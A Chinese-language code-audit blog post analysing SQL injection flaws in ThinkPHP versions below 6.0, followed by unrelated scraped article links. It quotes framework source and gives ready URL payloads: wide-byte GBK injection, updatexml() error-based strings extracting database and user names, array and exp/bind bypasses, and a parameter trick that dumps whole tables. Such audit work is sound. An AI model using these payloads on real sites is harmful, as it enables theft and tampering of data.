版本过多只分析大版本和使用人数较多的版本目前使用人数最多的3.2.3。审计时也是发现多个版本未公开漏洞

测试环境:  Mysql5.6/PHP5.5

首先明确的是在不使用PDO做参数绑定时ThinkPHP全版本都可能存在宽字节注入。

黑盒检测方法:输入于头字节大于7F测试数据例如:

%88%5c%27%5eupdatexml(1,concat(0x7e,database()),3)%23  (%5e 后跟任意T-SQL语句)

白盒检测方法 全局搜索默认格式是否被设置GBK

'DEFAULT_CHARSET' => 'utf-8', // 默认输出编码

或者

mysql_query("SET NAMES gbk");

Where方法

也是使用的最多的条件查询方法,支持查询条件预处理

1. $Model->where("id=%d
and username='%s' and xx='%f'",array($id,$username,$xx))->select();
2. // 或者
3. $Model->where("id=%d
and username='%s' and xx='%f'",$id,$username,$xx)->select();

而他的预处理实际上调用了addslashes() 方法

/**

 * SQL指令安全过滤

 * @access public

 * @param string $str  SQL字符串

 * @return string

 */

public function escapeString($str) {

    return addslashes($str);

}

然而在对单参数传递时where并没对语句做参数化处理而在官方文档多个实例也是只传递了一个参数,包括一些开源项目找到的错误写法。

$result =
$this->db()->where($where)->update($data);

$teachers = $Teacher->where('name', 'like', '%'
. $name . '%')

where代码

/**

 * 指定查询条件 支持安全过滤

 * @access public

 * @param mixed $where 条件表达式

 * @param mixed $parse 预处理参数

 * @return Model

 */

public function where($where,$parse=null){

    if(!is_null($parse) && is_string($where)) {

        if(!is_array($parse)) {

            $parse = func_get_args();

            array_shift($parse);

        }

        $parse = array_map(array($this->db,'escapeString'),$parse);

        $where =   vsprintf($where,$parse);

    }
...
...
... return $this; }

只对$parse参数做了过滤 这种写法对于query()同样有效或者类似处理的方法同样有效。

这也算是开发人员安全意识问题,但在审计时这样的写法是影响全版本的。

QUERY()方法,execute方法

这两个方法支持更多原生sql语句在复杂的业务场景经常遇到

在低于3.1.3版本这两个方法都调用parseSql来解析sql语句

/**

 * 解析SQL语句

 * @access public

 * @param string $sql  SQL指令

 * @param boolean $parse  是否需要解析SQL

 * @return string

 */

protected function parseSql($sql,$parse) {

    // 分析表达式

    if(true === $parse) {

        $options =  $this->_parseOptions();

        $sql    =   $this->db->parseSql($sql,$options);

    }elseif(is_array($parse)){ // SQL预处理

        $sql    =   vsprintf($sql,$parse);

    }else{

        $sql    =   strtr($sql,array('__TABLE__'=>$this->getTableName(),'__PREFIX__'=>C('DB_PREFIX')));

    }

    $this->db->setModel($this->name);

    return $sql;

}

然而parseSql根本就没有对数组参数做预处理就直接查询了。

这个漏洞官方早就披露了但在历史版本仍然可以见到身影。

Table,find,alias,join,union,group,having,comment 方法

Table,find这2个方法都需要select() 进行与数据库查询并未发现过滤

如果参数可控可以直接利用

$Dat=$Data->field($id)->select();

url地址中输入

id=updatexml(1,concat(0x7e,database()),3)
或者数组形式可以躲避value的过滤检测
id[updatexml(1,concat(0x7e,database()),3),1]=1

Table利用方式方式一样

id=users%20where%20%20updatexml(1,concat(0x7e,database()),3)--+
Id[users]=%20where%20%20updatexml(1,concat(0x7e,database()),3)--+

在where之前的做操作都可以这样利用

还有类似

Alias 设置当前数据表的别名

Group 根据一个或多个列对结果集进行分组

Join 用于根据两个或多个表中的列之间的关系

UNION操作用于合并两个或多个 SELECT 语句的结果集

COMMENT方法 用于在生成的SQL语句中添加注释内容

如果参数可控都会造成SQL注入

Order方法

Order方法有个cve编号CVE-2018-16385

在小于5.1.2版本都存在sql注入在官网现在3.2.5最新版已经被修复然而

在3.2.4之前版本这个漏洞依旧存在 而且这个更新函数改动了很多升级可能会出现更多问题

第二个图是补丁之后的对所有参数数组化防止sql注入,考虑问题更加全面增加数组遍历。常规的数组处理利用二维数组可以绕过例如

id[id][updatexml(1,concat(0x7e,database()),3)]=--+

Select方法

前置方法查询数据拼接后都是进入select最后和数据库交互。也是重要的方法在支持一个参数传递往往条件 18年也披露一个漏洞 $options参数可控同类影响的方法还有delete,find

只需要在url中输入

id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

便可注入成功都是利用了接收数组参数未验证导致的

/**
* 查询数据集
* @access public * @param array $options 表达式参数 * @return mixed
*/ public function select($options=array()) { $pk = $this->getPk();
... ... // 分析表达式
$options = $this->_parseOptions($options);
...
... return $resultSet; }

虽然在3.2.5版本更新了这个漏洞但在官网3.2.3并未被修复依旧可以被利用这也导致了低于3.2.5版本都可以利用。

在查看官方安全更新代码时发现5.x包括,3.2.5最新版本确实将这个漏洞过滤了但却引发另一个利用可能。

$id=I("get.id");

$Dat=$Data->select($id);

$this->data =  $Dat;

在url输入 id=1%20and%201=1  可以看到执行语句

SELECT * FROM `users` WHERE `id` = 1 [ RunTime:0.0007s ]

可以看到确实这样也不会存在sql注入但是有另一个问题Thinkphp框架特殊性

当你查询一个数据是否存在时,入侵者无法得知你的ip时候可以通过传递一个数组例如

?id[]=1

SELECT * FROM `users` [ RunTime:0.0006s ]

遇到位置错误的时候在拼接where条件时会自动跳过,这样你就看到整表的数据,这种方法也可以利用在delete()方法

update方法

1. $User->where('id=5')->setInc('score'); // 用户的积分加1

2. $User->where('id=5')->setDec('score',5); // 用户的积分减5

在调用setInc,sETDec在调用时如果参数可控也会存在注入

在直接调用update去实例化更新数据同样会参数注入同样的官方也发布了安全更新

例如构建一个对象

$User = M("users");
$user['id'] = I('id');
$valu = $User->where($user)->save($data);

这里也是利用exp注入

Id[0]=exp&id=[1]==1  执行的sql语句为

Select * from users Where id=1

这里的update也是这样的利用方式利用bind 构建的payload:

id[0]=bind&id[1]=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))

而它的代码

/**
* 更新记录
* @access public
* @param mixed $data 数据
* @param array $options 表达式
* @return false | integer
*/
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}

从Update代码中发现代码中先调用parseSet  构建的 set xxxx 在拼接完成后 类似

UPDATE xxx SET user=:0 WHERE id= xx

在where条件第二次调用拼接时可以造成SQL注入

elseif('bind' == $exp ){ // 使用表达式
$whereStr .= $key.' = :'.$val[1];
}elseif('exp' == $exp ){ // 使用表达式
$whereStr .= $key.' '.$val[1];

在传递数组时可以达到绕过

Id[0]=bind&id=updatexml(1,concat(0x7e,database()),3)
或者
Id[0]=exp&id=updatexml(1,concat(0x7e,database()),3)

这也是 bind,exp注入

在最后调用execute 方法时默认对:10 进行拼接

这里又会造成第3次注入

比如我们输入

?u=)%20and%20updatexml(1,concat(0x7e,database()),3)%20--+&p=exp&id=:1%27:0

在条件位只输入:1’:0 修改位放我们要注入的语句依旧可以注入成功

这里insert 也是同样的利用方法低于5.0都有这个问题目前官方并未修复虽然利用条件苛刻。

至此在对常用的交互查询,修改方法审计完成。也是发现多个利用条件(踩不完的坑),对于thinkphp在接收数组时的多处理造成的SQL注入,虽然不明白这样设计框架的含义但这样是非常不安全的,很容易接收无法处理的数组导致程序报错重要信息泄露甚至500导致服务器宕机。

也是第一次接触php代码审计,对很多特性都要翻阅官方文档如有遗漏或者错误欢迎补充指正。

ThinkPHP<6.0 SQL注入代码审计分析的更多相关文章

  1. 【转】ThinkPHP 页面跳转

    ThinkPHP 提供了success 与error 方法用于带提示信息的页面跳转,如添加数据后显示提示信息并跳转等.success 方法用于操作成功后的提示,error 用于操作失败后的提示,二者使 ...

  2. 小谈ThinkPHP

    ThinkPHP也是一个MVC框架,分视图.控制器和模型,和Yii框架相比相对较好理解,并且是轻量级的框架(相对于Yii来说),在使用Yii框架时候如果将框架放在项目文件中,用编辑器打开文件都比较慢, ...

  3. 如何搭建易企秀H5平台?

    导读 易企秀如何开启伪静态支持? 一秀如何开启伪静态? 下载易企秀源码 oschina: http://git.oschina.net/jsper/html5Editor Windows下搭建环境 安 ...

  4. Thinkphp学习笔记6-redirect 页面重定向

    ThinkPHP redirect 方法可以实现页面的重定向(跳转)功能.redirect 方法语法如下: $this->redirect(string url, array params, i ...

  5. thinkphp 6.0 在 initialize 中重定向无效

    thinkphp 6.0 在 initialize 中重定向无效 改用 header() 函数 实例: // header('location:/index.php/模块/控制器/方法'); head ...

  6. Thinkphp .htaccess 与 httpd.ini文件重定向转换问题

    .htaccess 文件内容 RewriteEngine OnRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !- ...

  7. ThinkPHP跳转与重定向的区别在哪里

    跳转: 浏览器认为 : 当前 URL 请求成功 , 重新请求新的 URL . 浏览器会记录当前的 URL 和新的 URL 在请求历史记录中. 回退, 是可以回退到 , 当前的 URL 上的 . ( 无 ...

  8. thinkphp 重定向redirect

    /** * URL重定向 * @param string $url 重定向的URL地址 * @param integer $time 重定向的等待时间(秒) * @param string $msg ...

  9. 7——ThinkPhp中的响应和重定向:

    public function index3(){ //响应数据: $data=['title'=>"标题部分","content"=>" ...

  10. nginx 配置web 虚拟文件夹 而且codeIgniter,thinkphp 重定向url 地址

    nginx 配置虚拟文件夹而且url 重定向 server { #侦听80port listen 8090; #定义使用www.xx.com訪问 server_name 127.0.0.1; #设定本 ...

随机推荐

  1. 最基础的Nginx教学

    文章原创于公众号:程序猿周先森.本平台不定时更新,喜欢我的文章,欢迎关注我的微信公众号. Nginx同Apache一样都是一种WEB服务器.基于REST架构风格,以统一资源描述符URI或者统一资源定位 ...

  2. js屏蔽地区

    其实不需要后台代码也可以获取地区信息的,就算是后台代码,也得需要引用一些第三方库提供免费的api接口才可以,最后还是反序列化才能得到想要的数据,那干嘛不直接找,提供好json格式的api接口,拿来js ...

  3. Spring框架学习笔记(2)——面向切面编程AOP

    介绍 概念 面向切面编程AOP与面向对象编程OOP有所不同,AOP不是对OOP的替换,而是对OOP的一种补充,AOP增强了OOP. 假设我们有几个业务代码,都调用了某个方法,按照OOP的思想,我们就会 ...

  4. 每个人都要学的图片压缩终极奥义,有效解决 Android 程序 OOM

    # 由来 在我们编写 Android 程序的时候,几乎永远逃避不了图片压缩的难题.除了应用图标之外,我们所要显示的图片基本上只有两个来源: 来自网络下载 本地相册中加载 不管是网上下载下来的也好,还是 ...

  5. Python基础(十二)

    今日主要内容 推导式 生成器表达式 lambda匿名函数 内置函数介绍 一.推导式 (一)列表推导式 先来看一段代码 建立一个空列表,向空列表中添加元素 lst = list() for i in r ...

  6. springboot 集成swagger2

    使用Swagger 可以动态生成Api接口文档,在项目开发过程中可以帮助前端开发同事减少和后端同事的沟通成本,而是直接参照生成的API接口文档进行开发,提高了开发效率.这里以springboot(版本 ...

  7. springboot 2.1.3 + mybatis + druid配置多数据源

    在一些大型的项目中,通常会选择多数据库来满足一些业务需求,此处讲解使用springboot.mybatis和druid来配置多数据源 1.依赖配置 pom文件引入相关依赖 <dependency ...

  8. Redis 的主从同步(复制)

    Redis 的主从同步(复制) Redis 的主从同步(复制) 什么是主从同步(复制) 假设有两个 redis 实例 ⇒ A 和 B B 实例的内容与 A 实例的内容保持同步 那么称 A 实例是主数据 ...

  9. 使用XAMPP配置Apache服务器反向代理

    反向代理(Reverse Proxy)方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时 ...

  10. VS Code配置Go语言开发环境(建议使用goland)

    VS Code是微软开源的一款编辑器,插件系统十分的丰富.本文就介绍了如何使用VS Code搭建Go语言开发环境. VS Code配置Go语言开发环境 说在前面的话,Go语言是采用UTF8编码的,理论 ...